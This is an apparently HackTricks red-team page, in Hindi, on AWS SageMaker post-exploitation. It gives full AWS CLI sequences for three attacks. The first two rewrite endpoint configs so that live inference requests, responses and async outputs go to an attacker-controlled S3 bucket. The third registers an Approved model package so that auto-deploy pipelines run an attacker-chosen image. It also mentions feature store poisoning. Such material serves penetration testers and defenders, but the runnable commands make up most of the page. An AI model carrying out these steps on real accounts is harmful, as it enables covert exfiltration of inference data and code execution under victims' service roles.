AWS - SageMaker Post-Exploitation

Reading time: 9 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

UpdateEndpoint DataCaptureConfig के माध्यम से SageMaker endpoint का डेटा चुराना

SageMaker endpoint प्रबंधन का दुरुपयोग करके बिना model या container को छुए पूरी request/response को attacker‑controlled S3 bucket में capture सक्षम करें। यह एक zero/low‑downtime rolling update का उपयोग करता है और केवल endpoint management permissions की आवश्यकता होती है।

आवश्यकताएँ

  • IAM: sagemaker:DescribeEndpoint, sagemaker:DescribeEndpointConfig, sagemaker:CreateEndpointConfig, sagemaker:UpdateEndpoint
  • S3: s3:CreateBucket (या उसी account में मौजूद किसी मौजूदा bucket का उपयोग करें)
  • वैकल्पिक (यदि SSE‑KMS का उपयोग कर रहे हैं): kms:Encrypt चयनित CMK पर
  • Target: उसी account/region में मौजूद एक InService real‑time endpoint

कदम

  1. एक InService endpoint पहचानें और वर्तमान production variants इकट्ठा करें
bash
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
  1. attacker S3 destination को captures के लिए तैयार करें
bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
  1. उसी variants को बनाए रखते हुए एक नया EndpointConfig बनाएं, लेकिन DataCapture को attacker bucket के लिए सक्षम करें

नोट: CLI validation को पूरा करने वाले स्पष्ट content types का उपयोग करें।

bash
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
  1. नए config को rolling update के साथ लागू करें (न्यूनतम/कोई डाउनटाइम नहीं)
bash
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
  1. कम से कम एक inference कॉल बनाएं (यदि लाइव ट्रैफ़िक मौजूद है तो वैकल्पिक)
bash
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
  1. attacker S3 में captures को सत्यापित करें
bash
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize

प्रभाव

  • लक्षित endpoint से real‑time inference request और response payloads (और metadata) का पूर्ण एक्सफिल्ट्रेशन attacker‑controlled S3 bucket में।
  • model/container image में कोई बदलाव नहीं और केवल endpoint‑level परिवर्तन, जो न्यूनतम संचालन व्यवधान के साथ एक छुपा हुआ डेटा चोरी मार्ग सक्षम करते हैं।

SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig

Endpoint management का दुरुपयोग करके वर्तमान EndpointConfig की क्लोनिंग और AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath सेट करके asynchronous inference outputs को attacker-controlled S3 bucket पर रीडायरेक्ट करें। इससे model predictions (और container द्वारा शामिल किसी भी transformed inputs) बिना model/container को संशोधित किए एक्सफिल्ट्रेट हो जाते हैं।

आवश्यकताएँ

  • IAM: sagemaker:DescribeEndpoint, sagemaker:DescribeEndpointConfig, sagemaker:CreateEndpointConfig, sagemaker:UpdateEndpoint
  • S3: attacker S3 bucket में लिखने की क्षमता (model execution role के माध्यम से या किसी permissive bucket policy द्वारा)
  • Target: ऐसा InService endpoint जहाँ asynchronous invocations का उपयोग किया जा रहा है (या किया जाएगा)

चरण

  1. लक्ष्य endpoint से वर्तमान ProductionVariants एकत्र करें
bash
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
  1. एक attacker bucket बनाएं (सुनिश्चित करें कि model execution role उसमें PutObject कर सकता है)
bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
  1. Clone EndpointConfig और hijack AsyncInference outputs को attacker bucket में पुनः निर्देशित करें
bash
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "$NEWCFG"   --production-variants file:///tmp/pv.json   --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
  1. एक async invocation ट्रिगर करें और सत्यापित करें कि objects attacker S3 में पहुँचते हैं
bash
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true

प्रभाव

  • असिंक्रोनस inference परिणाम (और error bodies) को attacker-controlled S3 पर रीडायरेक्ट करता है, जिससे predictions और संभवतः container द्वारा उत्पन्न संवेदनशील pre/post-processed इनपुट्स का covert exfiltration संभव हो जाता है, बिना model code या image बदले और न्यूनतम/कोई downtime के साथ।

SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)

यदि कोई attacker लक्ष्य SageMaker Model Package Group पर CreateModelPackage कर सकता है, तो वे एक नया model version रजिस्टर कर सकते हैं जो attacker-controlled container image की ओर इशारा करता है और तुरंत उसे Approved मार्क कर सकते हैं। कई CI/CD pipelines Approved model versions को endpoints या training jobs पर auto-deploy कर देती हैं, जिसके परिणामस्वरूप attacker code सेवा के execution roles के अंतर्गत चल सकता है। permissive ModelPackageGroup resource policy से cross-account exposure और बढ़ सकता है।

आवश्यकताएँ

  • IAM (किसी मौजूदा समूह को प्रभावित करने के लिए न्यूनतम): sagemaker:CreateModelPackage on the target ModelPackageGroup
  • वैकल्पिक (यदि group मौजूद नहीं है तो एक group बनाने के लिए): sagemaker:CreateModelPackageGroup
  • S3: referenced ModelDataUrl के लिए Read access (या attacker-controlled artifacts होस्ट करें)
  • Target: एक Model Package Group जिसे downstream automation Approved versions के लिए मॉनिटर करता है

चरण

  1. region सेट करें और एक target Model Package Group बनाएं/ढूंढें
bash
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
  1. S3 में डमी मॉडल डेटा तैयार करें
bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
  1. एक malicious (यहाँ हानीरहित) Approved model package version पंजीकृत करें जो एक सार्वजनिक AWS DLC image का संदर्भ लेता है
bash
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
  1. सत्यापित करें कि नया स्वीकृत संस्करण मौजूद है
bash
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table

प्रभाव

  • Poison the Model Registry को एक Approved version के साथ संक्रमित करें जो attacker-controlled code को संदर्भित करती हो। Auto-deploy करने वाली Pipelines जो Approved models को deploy करती हैं, attacker image को pull करके run कर सकती हैं, जिससे endpoint/training roles के अंतर्गत code execution हो सकता है।
  • permissive ModelPackageGroup resource policy (PutModelPackageGroupPolicy) होने पर, यह abuse cross-account ट्रिगर किया जा सकता है।

Feature store poisoning

sagemaker:PutRecord का दुरुपयोग उस Feature Group पर करें जिसमें OnlineStore सक्षम है, ताकि online inference द्वारा उपयोग किए जाने वाले live feature values को overwrite किया जा सके। sagemaker:GetRecord के साथ संयोजन में, एक attacker संवेदनशील features को पढ़ सकता है। इसके लिए models या endpoints तक पहुँच आवश्यक नहीं है।

{{#ref}} feature-store-poisoning.md {{/ref}}

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें